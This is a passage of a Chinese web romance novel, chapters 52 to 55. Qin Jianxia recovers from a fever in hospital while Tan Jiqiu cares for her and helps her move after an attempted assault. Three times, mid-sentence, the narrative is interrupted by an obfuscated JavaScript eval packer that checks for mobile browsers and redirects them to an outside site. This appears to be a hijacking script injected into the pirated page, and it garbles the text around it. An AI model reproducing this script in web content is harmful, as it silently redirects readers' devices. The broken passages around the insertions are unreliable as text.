他一股脑说完就要离开,秦见夏急了,下意识用左手拽住他:“别走啊你等等——” 谈继秋感到掌心处传来温度,心中一喜,激动地转过头,只见输液管已经开始极速回血…… “秦见夏!你是不是就打算气死我!” 秦见夏:“……” 她连忙松手,老实将胳膊放回原位,瘪了瘪嘴:“我错了。” “你先别走,过来点,”秦见夏认真对他说,“今天真的很感谢你,如果没有你的话,我可能已经和他极限一换一了。我只是不想让你因为我受到惩罚或者伤害,然后就是……不想让你认为我早就对你图谋不轨……” 她把“你想多了”四个字咽回去:“我没有其他意思,别往心里去。” 秦见夏的嗓音仍然沙哑艰涩,还是坚持说着。 “其实我想了一下午,我觉得我们可以开始慢慢接触对方。因为我们的确今天才在现实中见面,你又救了我,当下就贸然和你确定关系,对我们双方都有些不负责任,想必你也不想我是因为感激才和你处对象的吧?” “你我现在都不清楚对方究竟是个什么样的人,我还是比较想慢慢来,你觉得呢?” 谈继秋听着,并未打断。 他想说,其实他无所谓她是个什么人。 他不会因为秦见夏善良勇敢大方就喜欢她,拥有这样特质的人多了去了。 也不会因为秦见夏的任何缺点就讨厌她。 喜欢就是喜欢,这个人是什么样他都喜欢。 正如真正爱孩子的父母,不会因为孩子有缺点就减少爱意。 “还有就是,我没有不喜欢你,”秦见夏似乎有些难以启齿,低头不去看对方,声音很轻,“毕竟我从高中就开始喜欢你了……” “你那种不是女人对男人的喜欢。”谈继秋忍不住语气不明地打断。 秦见夏抬头,急忙为自己辩解:“高中的时候确实不是,但现在是啊!” “我怎么证明我喜欢你?又没有试卷让我答!”她脾气也上来了,“你能不能别这么无理取闹,我今天已经很累了……” “这可是你自己承认的哦,”谈继秋忽然凑近,眼底似有星光闪烁,“你自己说的你喜欢我~” “?” 秦见夏看着近在咫尺的俊脸,一时都忘记呼吸。 此时他像臭屁男大学生一样耍无赖,神情异常生动。 她觉得这样的他比从前要好看千百倍,竟然瞧得有些入迷。 秦见夏眼眸微颤,谈继秋发现了这一点。 他对自己的脸相当有自知之明。 于是,刻意不动声色地眨了眨眼,暗自挪到自己认为最好看的角度。 秦见夏的脸颊像是被开启指令般,瞬间绯红一片。 她感觉自己又开始浑身发热,咳嗽了两声,对他说:“我好像又发烧了,谈继秋你帮我摸摸,我自己摸不出来。” 谈继秋觉得她惊慌失措的样子太可爱,忍俊不禁地抬手覆上她额头,有些不舍得移开,说:“输到三分之一的时候就已经不烧了,你现在是因为害羞所以才发热……” “谈继秋!” 秦见夏用右手将他胳膊拍掉,恼羞成怒地喊道。 “你好双标啊秦见夏,”他笑着离远,故意阴阳怪气,“中午还不让我叫你全名,现在你叫我全名倒是很顺口嘛。” “就叫就叫!”秦见夏也开始耍无赖,“谈继秋谈继秋谈继秋!” 谈继秋难得开朗地笑了几声,瞥了眼输液袋:“好啦不逗你玩了,我去叫护士换液,顺便给你买点粥?” “我现在没什么胃口……”秦见夏面露赧色,难以启齿,“倒是想请你帮我买……卫生巾……” “什么?”谈继秋没听清她在嘀嘀咕咕些什么,将脑袋凑近了一点,“买什么?” 秦见夏便义正词严道:“卫生巾。” “八度空间夜用275mm,外卖这个时间点不到,一会我把钱和医药费一起转给你。” 谈继秋的脸色又变得不太好看,搞得秦见夏一头雾水:“你是川剧变脸非遗继承人吗……” “好吧我理解你们男的,不想买就算了,我一会找护士姐姐借一……” “你是不是不喜欢我?” 谈继秋的脑回路好像和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828531|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在一个点上,将她噎得直咳嗽。 秦见夏:“?” 秦见夏:“咳咳咳,什么?” “别的女生,像是Dollar和Fine的女朋友,他们给她们买什么都很开心,怎么我给你买个卫生巾你都要和我算这么清楚?”谈继秋的表情有些破碎,“如果你不是不喜欢我,就只能是你前任太抠门了。” “你前任这么小气,为什么还要和他谈?” 她真的,好想问一句,你有毛病吧。 秦见夏觉得此人简直无理取闹,他不是淡人吗,为什么一分钟八百个情绪!究竟谁才是风象星座…… “我什么时候有前任了!”秦见夏抓狂,“你们男的到底想干嘛!不和你们算清楚你们说女生是捞女,和你们算清楚又觉得没感情。那我们现在没在一起,算清楚点怎么了嘛?万一之后觉得不合适一拍两散了,还是要叫对方还钱啊。” “秦见夏,你以后多刷刷我的安利向视频吧,”谈继秋听到她说没有前任,尾巴又翘起来了,“你的当务之急是少看点抖音和小红书的避雷贴。” “正常男人想和你谈恋爱的话都不会AA的,我们巴不得想要展现一下雄性魅力,AA这种屌丝行为太掉价。” “我给你花钱是因为我喜欢给你花,就像你会给你的本命英雄买皮肤一样,你哪天不喜欢狄仁杰了会找王者退钱吗?肯定不会。所以就算你之后有了别的选择,我也绝对不会找你还钱。” “像我这种身份,你不爽了可以直接挂我让我塌房,我都不会说什么。” 谈继秋边说边往门口走,还不忘臭屁地回头眨了眨眼睛:“再说了——哥的身家怎么说也有一个小目标起步,这点钱不至于拿出来说。” “那你还天天找罚金哥打赌?”秦见夏没好气地问,“为了4090还骗我!” 谈继秋将手搭在门把上,闻言觉得没必要全盘托出,显得自己非常图谋不轨。 他拉出始作俑者挡枪:“Fine是富二代,咱们薅点资本家羊毛不丢人,回头你见了你罚金哥就知道了,是个人哄他两句他就爆金币。” “对了,”谈继秋故作不经意地问,“你之前居然没谈过恋爱吗?” “和你无关!”秦见夏怒言,“快去喊护士!怎么磨磨唧唧的!” 凌晨三点摁床头的快捷铃会吵到其他病房的人,所以两人始终没有直接按铃,还是采取去护士站叫护士的笨办法。 值班护士很快端着铁盘来换液,边换边热情地唠嗑:“哦哟,小美女你醒了呀?” “你男朋友对你感情很深嘞!”年轻的护士姐姐一副红娘口吻,搞得秦见夏不好意思澄清两人的实际关系,“我还是头一回见,女生发烧输液有男生直接开vip单间的,小妹妹遇到正缘咯。” “哈哈,那是他钱多烧的。” 秦见夏想起谈继秋说自己身价有一个小目标,尴尬地插了个话。 护士姐姐一边手脚麻利地换着药,一边不赞同地摇了摇头:“很多有钱人也很小气的呀……再说,我看得出来,他很紧张你的。” “刚刚你不是烧晕了吗,你对象抱着你跟个阎王似的挂急诊,吓得我们还以为你是心脏病突发还是怎么,结果呀,反倒是两个警察拖来的男的伤势更重。” “哦哟也不知道是谁下手这么重,要命嘞,肋骨都断了两根!” “那是因为他不知道我发烧了,可能以为我快死了吧……” “可是我看到他在悄悄抹眼泪呀。” “我们跟他讲你没大碍之后,他见你还在昏迷,说什么都要开单间让你好好休息,然后就一动不动地守着你。我来的时候看到他抹了把眼睛,想着安慰安慰他,结果他还怕我吵到你,板着脸让我别吵嘞。” “不过你一开始来的样子也确实有点吓人,小姑娘你要保重身体呀,”护士姐姐走之前还要再开一下玩笑,“瞧你态度你们应该还不是情侣,个么他在追你的话就多吊他两天,刚刚那冷脸帅哥真是吓死人嘞~” 53. 不许笑 护士走后,秦见夏拿起手机,照了照自己的脸。 “啊啊啊好憔悴好丑——” 秦见夏崩溃了。 又生病又素颜又披头散发又戴眼镜,导致她现在像冷宫里疯了的妃子,简直和小红书上发的自拍判若两人。 不过,至少现实中素颜不会被认出她就是那个“夏笺”。 秦见夏很快把自己安慰好了。 她觉得自己素颜的样子太平庸,眼睛不够大、眼皮不够双、山根不够高、下巴不够尖、嘴也不够微笑唇,甚至后脑勺也不够圆,与她满意的外形相差甚远。 然而她现实中不太爱化妆,大一买的日抛马上大四都没用完。正好学校里大家都戴着眼镜素面朝天,秦见夏也就随波逐流,只有重要场合才会化全妆。 就是,感觉素颜的她更配不上谈继秋了TT “吱呀——” 谈继秋提着一大包东西,敲了三声门才走进来,看到病床上的秦见夏用被子遮住自己半张脸,只露出一双水灵灵的眼睛,便疑惑问:“你脸怎么了?” “没怎么……”秦见夏闷闷道,“你刚怎么认出我的……” 谈继秋将东西放下:“啊,什么?” “我说,我没化妆和白天长得不一样,你怎么认出我的?” 谈继秋无奈走过去将被子扯下来,说:“你化成灰我都认识你。” 秦见夏:“……” 秦见夏:“别诅咒我。” “所以你就把自己照片p成蛇精脸了吗?”谈继秋觉得十分好笑,“有没有一种可能,你的化妆技术其实也不怎么样?” “至少我感觉,只是嘴巴没那么红,眼睛没那么蓝,以及戴了眼镜的区别。” 秦见夏已经不知道从哪开始生气了。 “你懂什么!!怎么就蛇精脸了?”秦见夏掏出手机指着照片,“这p得多好啊,冉姐都夸我妙手回春,我可是美术生你敢质疑我?” “还有我化妆技术怎么不好了?我今天还特意粘了单簇假睫毛呢,还贴了欧式大双,还有,戴眼镜会显得眼睛很小啊!” “不对——你也天天看电脑,你凭什么不近视?”秦见夏放下手机,愤怒地拽着他的衣服将他拉近,仔细端详他眼珠,“你这家伙是不是偷偷戴隐形了?” “没有,我天生视力好,”谈继秋忽然被她拽过去盯着瞧,心跳渐渐加速,有些不自然地移开目光,“你现实中一定没见过网红,他们才叫技术高超,个个顶着假面。” “你有些完美主义。” “那确实是,”秦见夏松开手,同样红着脸咳嗽两声,“你的脸就很完美。” “那也只是你认为的完美而已,”谈继秋从袋子里拿出矿泉水,拧开递给她,“我也有黑眼圈也会熬夜长痘,一点瑕疵都没有的AI大家也不喜欢啊。” “你现在这样我就觉得很好,相处起来没有距离感。要是健康一点就更好了,刚才冷冰冰地躺在那里很吓人的。” “不过……”谈继秋又想起走之前的话题,“你既然也没有谈过恋爱,为什么还有crush?” “这没冲突啊,”秦见夏接过水喝了两口,无所谓道,“觉得人长得帅还不错就喜欢上咯,又不是所有喜欢的都能谈上恋爱。” 谈继秋闻言,有些失落:“这样吗,可我不会轻易喜欢上一个人……” 秦见夏预感他又要把话题绕回“你究竟喜不喜欢我”上,连忙中断施法:“你帮我拿一片卫生巾,我想去厕所。” 谈继秋将装卫生巾的袋子整个递给她:“你看你要哪包,我帮你拆。” “你怎么买这么多?” 秦见夏用没输液的右手扒拉着,发现他几乎把每种都买了一遍,连安睡裤都有…… 谈继秋同样一脸莫名:“我看一包里只有几片,担心你不够用,就让收银员帮我推荐了一下,然后就全部买回来了……够用就行。” “你当这跟卫生纸一样用吗?” 秦见夏心想,这便利店简直拿他当猪宰了,她找出自己常用的递给他,让他帮忙拆开,边起身边说:“也行,下次被砍到大动脉了还能用来止血。” 谈继秋:“……” 谈继秋:“你这张嘴说自己就不用这么毒了。” 谈继秋充当人形输液架,将她扶进卫生间,提着输液袋挂在墙上挂钩处,不放心地问:“你自己可以吗?” 秦见夏脸色通红,气急败坏地赶他出去:“男女授受不亲!你赶快出门到走廊上,我叫你进来你再进来。” 谈继秋笑容满面地被她推走,听话照做。 五分钟后,秦见夏自己举着输液袋推开房门,神色如常。 谈继秋接过透明袋,一边护送她往回走,一边又忍不住开始笑起来。 “别笑了!就算是钢铁侠也要上厕所的!”秦见夏恼羞成怒地在他腰上拍了一巴掌,气鼓鼓地坐回病床上。 发个烧真是搞得她颜面尽失。 一低头,刚好瞧到谈继秋还穿着耐克的拖鞋,白袜子都沾了点灰,猜测他可能是来不及换鞋就赶来了,又不好意思地说:“我现在没问题了,要不然你回去睡觉吧,明天警察那边我来处理,抱歉啊让你跑来跑去的……下次我请你吃饭!” “你说这话我就不爱听,今天本来也是我害你中午没休息,这件事我也有责任,”谈继秋抿着唇,将她按在病床上躺好,帮她盖好被子,继续坐回陪护椅上拿出一个纸碗,“你还是别说话了,吃关东煮吗?这个点没有别的东西卖,饿的话先垫垫肚子。” 秦见夏摇摇头,抬手指了指他。 谈继秋:“……” 谈继秋:“我真认输了,你还是说话吧。” “你自己吃吧,我没什么胃口。”秦见夏说完就阖上眼睛,打算入睡。 谈继秋刚刚打了一顿人,现在也确实饿了,闻言便不客气地吃了起来。 不得不承认,便利店的关东煮实在是满屋飘香。 秦见夏偷偷睁开眼睛,看到谈继秋吃得那么香,又有点馋。 “等等——你给我留口汤怎么样。” 谈继秋笑得弯起眼睛,将纸杯和另一根没用过的木签递来:“要不要我再给你留点鱼籽福袋和萝卜?” “那更好了!”秦见夏腾地一下坐起身子,“快快快你帮我放在这个小桌子上,我用一只手就能吃。” “我帮你端着,你直接吃吧。”谈继秋觉得她弯腰吃肯定很麻烦,还不如直接替她端着。 “那我就不客气了,神。” 秦见夏一看,他买的全是她爱吃的,也没有她讨厌的海带,忍不住大快朵颐起来。 灯光和煦,谈继秋小心翼翼地帮她别了别头发,心中一片柔软,见她吃得这么开心,存了些逗弄的心思:“给我留个福袋。” 秦见夏顿时将最后一个鱼籽福袋一口塞进嘴里,腮帮子鼓得像只仓鼠,她边嚼边说:“晚了。” 谈继秋不由得笑出声来,想去摸一摸她的脸,还是忍住了。 “好了,你回家睡觉吧,我困了。”秦见夏接过他递来的卫生纸,擦完嘴后扭头躺下。 谈继秋也十分顺手地接来她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然而她有起床气,眼睛都没睁开,就愤愤不平地拒绝:“我不吃早饭,让我睡觉!” “我现在带你回家睡好不好?你不吃早饭一会又低血糖怎么办?”谈继秋无奈,对她拽也不是抱也不是,也不好意思直接掀她被子,只能说,“警察来了。” 秦见夏果然一秒睁眼,径直坐起身:“在哪?” 谈继秋:“……” 谈继秋:“警察肯定九点左右来,你先吃早饭,我给你买了生煎和皮蛋瘦肉粥,你看喜欢吃吗?” 好吧,生煎确实爱吃。 秦见夏快速洗漱完坐回床上,边吃生煎边对谈继秋说:“一会警察来了你不要说话,我来说就行,知道吗?” “知道了,”谈继秋见她一口一个生煎包,吃得狼吞虎咽,又给她递了张餐巾纸,“慢点吃,我不跟你抢。” 秦见夏将包子咽下,擦着嘴说:“你不懂,生煎就得一口一个,才能吃到全部汤汁,不信你也试试。” 谈继秋又偷偷笑起来,感觉她实在太可爱了。 怎么会有这么鲜活的人,让他意识到自己此刻正真真切切地活在这个世界上。 他想,他以后不会再诘问生命的意义。 谈继秋发自内心地认为,怎么会有人不喜欢秦见夏呢? 应该是个人都会爱上她吧…… 她像春天的阳光,明媚却不炽热,使人感到生机勃勃。 喜阴的绿萝也会顺着光照的方向生长。 虽然绿萝这种植物极好养护,但如果始终得不到阳光,也会窝在角落半死不活。 谈继秋只有靠近秦见夏时,才会重新焕发生机,变得枝繁叶茂。 “谈继秋你又在笑什么!我吃个饭有那么好笑吗?” “气死我了!你怎么还在笑?你被夺舍了吗?你转过去别看我了。” “不许笑了,你有毛病吧——谈继秋你给我憋回去!!!” 54. 不放心 秦见夏吃完早饭才想起,昨天太忙,忘记回复朋友们发来的消息了,便盘腿坐在床上,手指飞快地打着字。 回完王铭和董晴晴的微信,刚点开林居奕的对话框,扔完垃圾回来的谈继秋就一脸不悦地凑近:“你在和谁聊天,聊得这么开心?” 秦见夏下意识将手机按灭,放到背后,不知为何有些心虚:“没有啊,昨天不是上热搜了嘛,好多朋友给我发了微信,我在回复他们呢。” 这时刚好另一个朋友回了消息,秦见夏看到【沈心怡】的备注,立刻举起来给他瞧:“你看,都说了是朋友。” 谈继秋倒十分敏锐,眯起眼睛问:“你那两个crush呢?没给你发微信?” “警察同志来了——” 秦见夏连忙推开他,将警察迎了进来。 由于秦见夏本人没有受到实质性的人身伤害,谈继秋却把醉汉揍得不轻,被判防卫过当就得不偿失了。 所以她想争取双方私下和解,不然传出去对谈继秋的事业必定会造成不可逆的损失。 但谈继秋不太满意,问警察:“你们说那个邻居是酒后失控,但这次事件本质还是强|奸加私闯民宅未遂,我们正当防卫……” “谈继秋——”秦见夏迅速打断他,冷静地对警察说,“我们还是坚持私下和解,不再追究责任,我不想把这件事闹得影响太大。” 施害者当然愿意和解。 警察见当事人是这个态度,也顿时松了口气,在现场做完笔录后又和了一会稀泥才离开。 警察走后,谈继秋气愤地问:“为什么不追究?” “你觉得追究能得到什么赔偿?”秦见夏一副打算出院的姿态,“判他拘留?别天真了。” “首先,咱们都没有受到实质性的伤害,反倒是你把他打得还在住院,当然我没有怪你的意思,揍得好;其次楼道里根本没有监控,这种不好判的,我们非要追究的话,拖到后面只会浪费时间。” “最后,这件事传出去明显对你的损失更大,他的伤是实质性的,哪怕给你春秋笔法成正当防卫,你觉得你未来的甲方会要一个有打人案底的代言人吗?” “你还真想被叫电竞腕豪啊?” “以及,把这种人逼急了指不定他会做出更危险的事,还不如适可而止。” “好啦,别不开心了,我这个受害人都不追究了你还想怎么样?咱们出院吧。”秦见夏瞧着他板起来的小脸,想上手拍一拍,硬生生忍住了。 两人并肩走出医院,谈继秋看起来还是不太高兴,秦见夏耐心询问:“怎么还是不开心啊?” “感觉你是为了我才不追究,”谈继秋闷闷地说,“是我没有考虑周全。” “怎么会?你都帮我来揍他了,我维护你的利益也是应该的。哎呀谈继秋——要是没有你,我真就在劫难逃了。中午我请你吃饭吧,好好报答你一下,”秦见夏感觉自己在哄小孩,“就让这件事翻篇吧怎么样?” 不得不说,秦见夏的内心确实很强大。 她似乎不会将自己放在“受害者”的位置上,不怨天尤人、不顾影自怜。 这与他刻板印象中的女生简直大相径庭。 “行吧,那我们现在去你那边收拾东西。”谈继秋说着,掏出手机开始叫车。 “等等,”秦见夏叫住他,“收拾什么东西?” 谈继秋也愣住了,不可置信地问:“秦见夏——你别告诉我你还打算住在那里?” “哦呦你喊这么大声干嘛,或许……我还没想好,”她诚实道,“毕竟十五号才发工资,我现在比较穷,退租肯定不退押金,而且警察不是也说了嘛,之后会重点关注……” “我真服了你,”谈继秋感觉自己已经很多年没这么生过气了,“你现在给你爸妈打电话说这事,他们肯定一秒过来帮你搬家。” “你怎么知道?千万别告诉我爸妈啊!” 谈继秋:“……” 他自顾自叫了车,坚持己见:“昨天我就想过这个问题了,让你搬来别墅和我们三个男的一起肯定不太好,让你和Dollar他女朋友小如合租的话,离你公司又太远了。” “所以你现在只有两个选择,一是我帮你租一套酒店式公寓,二是直接酒店长住……”他说完又迅速自我否定,“不对,酒店也不是百分之百安全,你一个人我还是不太放心。” “有没有经济实惠的第三种选择?”秦见夏苦恼道,“你这两个选项还是太吃经济了,我一个月房补才两千,实在不行换个老小区再租一套不就好了?反正我只实习不到三个月。” 谈继秋认出专车的车牌号,拉开后门让秦见夏先进去,自己绕到另一边:“我没说让你掏钱,你不用考虑钱的问题。我还是比较担心你一个人住不安全,万一下次我刚好在睡觉,来不及赶过来怎么办?” “要不然我让助理过去陪你?就是你昨天见过的那个女生。” “千万别!我真不至于睡觉还要人陪……再说了,哪会有这么多万一啊。这次就是特殊情况,我换个安保好点的小区就好啦。合租或者住青旅好像也不错,人多更安全。” “青旅是什么?” “青旅就是青年旅社,类似于大学宿舍……哎算了,跟你这种资本家说不到一起去,”秦见夏懒得再和他讲这些,“总之,你不用操心了,我自己想办法,你别整得跟我爸似的。” 谈继秋无奈地说:“你现在在晋海,我当然要对你的安全负责啊,万一又出事了咱俩哭都没处哭去。” “这事如果你跟你爸说,你爸肯定也赞同我。” “我才不会哭,明明是你在哭!” 谈继秋:“……” 两人协商一路,最终决定先去住几天酒店,再考虑之后的问题。 至于退租的事,谈继秋交给助理艾欧尼亚去处理,本地人和本地人魔法对轰大概率胜算还高点。 实在不行—— 他就悄悄把押金垫上给她,不就得了。 好在秦见夏带来的东西并不多,整理出三个行李箱就差不多收拾完了。谈继秋帮她在公司旁边的全季开了一周的大床房,让她先安心住下。 秦见夏决定下个月领到工资再还他钱,然后开了个小号疯狂在小红书搜合租贴。 两人中午在公司附近的商场吃了顿海底捞,说是秦见夏请客,当然最后还是谈继秋偷偷付的钱。 秦见夏心碎地念叨了整整五分钟“浪费六九折”和“资本家”。 吃火锅中途,还被谈继秋的粉丝认出来了,秦见夏连忙撒谎说自己是他助理,熟练地帮他们拍了合照,才因此躲过一劫。 谈继秋对此评价:“你是我见过最能睁眼说瞎话的人。” 秦见夏:“那很厉害了。” 翌日,秦见夏扭头又骗了他。 起因是两人周天下午分别时,谈继秋发现她的病居然还没好。 虽然烧是退了,但她还是隔一阵就咳嗽一会,于是他便很强硬地要求她周一请假,再多休息一天。 秦见夏当时很听话地一口答应下来。 周一她就立刻美美地边咳嗽边去上班了。 刚好传染给mentor,让他也请假两天,岂不是一举两得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853267|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 结果快到中午的时候,秦见夏收到了谈继秋发来的微信。 谈继秋:「我在你房间外面,开门」 正在做楼层图的秦见夏:“???” 她本意是打算装作自己在睡懒觉,先不回他了,然而转念一想,万一他又ptsd地直接找前台开门怎么办? 只能若无其事地回复:「怎么啦?我没在房间,现在在外面吃饭呢」 谈继秋仿佛抓小三的丈夫一样紧追不舍:「在哪里吃饭?给我发定位,我现在过去」 秦见夏觉得,他还是太闲了。 于是抢占先机快他一步勃然大怒:「你不觉得你很没有边界感吗?我们这还没在一起呢你就管天管地的,吃个饭都要发定位,你这样让我很没有私人空间好不好!」 虽然人是他救的,医药费是他出的,酒店是他订的,连海底捞都是他请的,自己这样说显得很没有良心。 但……先糊弄到下班再说,大不了一会再多哄他五分钟好了。 秦见夏加速做图,准备一会借上厕所的名义,提前十分钟开溜。 然后,他发来微信:「要是让我知道你现在在上班你就完了:)」 谈继秋:「我经纪人正在你们公司谈业务,我想,查一下你的考勤记录应该不是什么难事」 秦见夏:「……」 秦见夏:「对不起我错了」 秦见夏:「我确实来上班了,其实我早上起来就感觉好得差不多了」 谈继秋:「下班后来A5旁边这个门,我接你去吃饭」 他倒是也没再说什么。 秦见夏不禁得寸进尺:「我能拒绝吗……?」 秦见夏:「俺们公司的餐补不吃就亏了」 秦见夏:「晚上行不^v^」 她用键盘打出个极其谄媚的颜文字。 今天菜单有她最喜欢的油焖大虾,和家里做得口味不同,不吃是真亏了。 但这可不能如实托出,病号又吃油腻又吃海鲜是真在找死。 秦见夏淡淡地想——停两顿药不就行了,反正早上也没吃。 药常有,食堂的油焖大虾可不常有。 他果然说:「不行」 谈继秋:「再拒绝我就告诉你爸妈你在外面不好好照顾自己」 秦见夏一语双关:「我去」 尽管她不知道此人什么时候有她爸妈的联系方式了,但以防万一,还是去吧。 十一点半,秦见夏准时按mand+S,拿着斜挎包和外套起身。 公司的空调温度很低,她平常都会带一件防晒外套来,室内保暖,室外防晒,相当方便。 她刚走到园区门口,还没刷工牌出闸机,就看到谈继秋相当骚包地倚在车旁,双手抱臂。 他穿着简单的黑色拉夫劳伦POLO衫和米色工装裤,连车子都是低调的Volvo,然而优越的脸庞还是引得众人纷纷侧目。 秦见夏红着脸一路小跑过去,来不及瞧他亮盈盈的黑眸,只是一味地将还在摆pose的谈继秋迅速塞进驾驶座。 “你装什……你到底在凹什么造型啊,现在刚好是下班时间这么多人来来回回你不嫌丢人吗?” 谈继秋:“……” 这还是他三倍速恶补偶像剧学来的知识点。 “我看男主都这么凹造型,”谈继秋见她已经麻利地自己系上安全带,只能无奈启动车子,心道她怎么不按套路来,“不帅吗?” “你的脸确实像男主,”秦见夏被空调激了一下,忍不住捂嘴咳嗽两声,“但是谁家男主开沃尔沃啊?” 55. 好受些 “这应该是你的车吧。” “是我的车,之前家姐带小外甥女来晋海小住的时候特意买的,平时我不怎么开。” “那你可以演港城太子爷。” “……” 秦见夏打量着沃尔沃的内饰,和谈继秋如出一辙的干净、整洁且无趣:“我看的男主都开劳斯莱斯幻影,还要配个陈特助在一边说‘好久没见少爷笑得这么开心了’。” 谈继秋被她模仿的口吻逗笑,抬起下巴点了点中控台放着的白色保温杯:“杯子是新买的,给你煮了红糖姜茶,下午带去公司喝。” “我们秋神好贴心哦~”秦见夏笑嘻嘻地打趣道,“没想到你还是居家好男人型呢。” “那是自然,”谈继秋得意地扬了扬眉,“我还给你炖了瘦肉水,放在后座,你可以晚上喝。” 秦见夏没听过这种东西,问:“什么是瘦肉水?” “就是用猪肉、姜片、红枣之类的补品煲的汤,小时候我每次生病家姐都会给我炖瘦肉水。你不是总没胃口吗,喝了应该会好受一些……” 他语气平淡,似乎在说今天天气很好一样,使得秦见夏内心有些触动。 她不由得瞥向谈继秋的侧脸。 他身形高大劲瘦,秦见夏需要微微仰起脖子,黑色衣服将他皮肤衬得莹白,侧脸轮廓线条爽朗,说话时嘴唇一张一翕,眼睛却板板正正地目视前方。 看得人十分想捣乱。 “怎么?爱上我了,”谈继秋玩笑道,“给你煲个汤而已,你也太好骗了。” 秦见夏收回目光,摇了摇头:“不是,是因为除了父母之外,好像没人这么关心过我。” 这么,无条件地,珍视她。 秦见夏是一个高情绪价值同时也高情感需求的人。 她在为别人提供情绪价值时,实则内心也希望得到同等的回应。 可很多人对她往往都是用完就扔。 习惯热情,意味着廉价和可以被随便对待。 秦见夏从小到大在友情上的付出,从未得到过应有的回报。 她主动倾听好友的烦恼,主动在备忘录记下大家的生日挨个送礼物,主动攒局约朋友们出去玩,然而自己的烦恼却被忽视,自己的生日无人记得,不主动也没人会邀请她。 她从来都不是谁最好的朋友,只是大家身边一个可有可无的普通同学。 因此,秦见夏认为,除父母以外的其他任何人,只要自己不再主动提供情绪价值,他们总有一天会头也不回地离开。 待人热情会变成喋喋不休,善解人意会变成虚伪装腔,风趣幽默会变成傲慢刻薄。 任何关系靠得太近,都终有走到尽头的一天。 秦见夏的完美主义也体现在这里—— 一旦感情变质,那就不要了。 面前只剩掺了沙子的饭,宁可饿着也要倒掉。 极少有人会在她并不主动的前提下,不求回报地为她付出。 哪怕他们并没有确定关系,哪怕秦见夏会随时抽身走掉。 她暂时没有看出什么迫切的功利性目的。 谈继秋似乎只是想让她“好受一些”。 与她朝夕相处三年的大学室友都不会在意她是否生病,没想到认识不久的男人却会在意。 这个发现使她有一丝感动。 谈继秋将车驶入商场的地下车库:“有什么想吃的?可以先在手机上看。” “不过,这次还是别吃辣的了,等你咳嗽好了再说。”他想了想又补充,心道可能就是昨天吃了辣火锅才导致病情好得慢。 最终秦见夏选了个粤菜馆,谈继秋说味道不太正宗,下次带她去粤省人开的饭店吃粤菜。 吃饭时,谈继秋见她面色还是不太好,再度提议让她下午请假。 秦见夏仍然拒绝:“不行,这周活比较多,明天就有一个ddl,而且我真的好了,咳嗽而已不用担心。” “那你拿药来了吗?”谈继秋无奈地问,“现在饭后正好吃了。” 秦见夏:“……” 她尴尬地笑了两声:“在公司呢,我一会回公司吃。” 其实她早上出门的时候压根没想起来吃药这回事,带都没带。 秦见夏就这一个毛病不好。 她每次生病都记不住吃药。 从前还有父母跟在屁股后面追着喂药,自从上了大学,作息混乱,一天三顿的药她能想起来吃一次就不错了,次次流感都是拖半个月才好。 谈继秋确实感觉秦见夏比男生还不会照顾自己,又或许是保护欲作祟,总之,十分不放心她独自生活。 而且这家伙甚至会做出阳奉阴违自己偷偷跑去上班的行为。 究竟谁发烧烧晕了只休息一天就去上班的…… 他捡起秦见夏遗落在座位上的外套,叹息一声,心想还是带小孩轻松。 三岁小孩至少不会撒谎骗他。 谈继秋将她送到A5门口,把保温杯和焖烧杯统统交给她,嘱咐晚上一定要喝瘦肉水,尤其要记得按时吃药。 对此,秦见夏看似说“嗯嗯好的知道了放心吧”,实则微微不耐烦地迅速离开,扭头小声吐槽:“谁说他话少的……” 她拎着东西往办公楼走,步伐有些重,边走边仰望面前高耸入云的写字楼,心里想的却是远在南城从小住到大的灰矮老破小。 这个快餐时代一切都太迅速了。 喝一场酒的时间就可以和异性抓手指亲嘴发生关系,表白墙找的交友对象三天就能发朋友圈官宣,交换网易云歌单就算是精神世界的互相了解,身体的通道似乎比心墙还容易开启。 大家的妆容越来越浓,洋葱芯般的内在却掩藏得越来越深。 身边人都在date、在crush、在一次又一次地恋爱和分手,将对象衣服一般换了又换,衣服的数量反倒成为炫耀的资本。 而不是像从前那样,上一代人会以一件衣服质量好到穿了几十年没烂为荣。 现实世界时下推崇的亲密关系模式,无疑是对理想主义者的盛大绞杀。 秦见夏依旧是宁缺毋滥原则的拥护者。 她的人生很忙碌。 从小在赵霞和秦国海的鼓励式教育下,对自我实行精英教育。 小学别人补习剑桥英语,她一定要跟上;初中别人能够单独登台演讲,她也要克服恐惧;高中别人将目标放在一本线,她也要曲线救国,零基础集训八个月考超分数线一百分。 大学别人在谈恋爱,她除了赶作业就是去兼职,闲暇时间还研究研究自媒体,梦想成为下一个校园大v实现财富自由。 她没时间玩换衣服的游戏。 遇到喜欢的人就是锦上添花,遇不到也无所谓,爱情只是生活的调味剂。 人生这道菜,不加盐反倒是减脂餐。 所以很多朋友说她是钢铁直女,认为她“看似先进实则落后”。 秦见夏也觉得无所谓,她只是在奉行自己的人生准则。 世界上像她这样的不多,但也不少。 如今还和她一起玩的大多是同类,互相都十分理解对方,秦见夏就已经知足。 遇到谈继秋是在意料之外的。 某种程度上来说,他和她似乎也是“同类”。 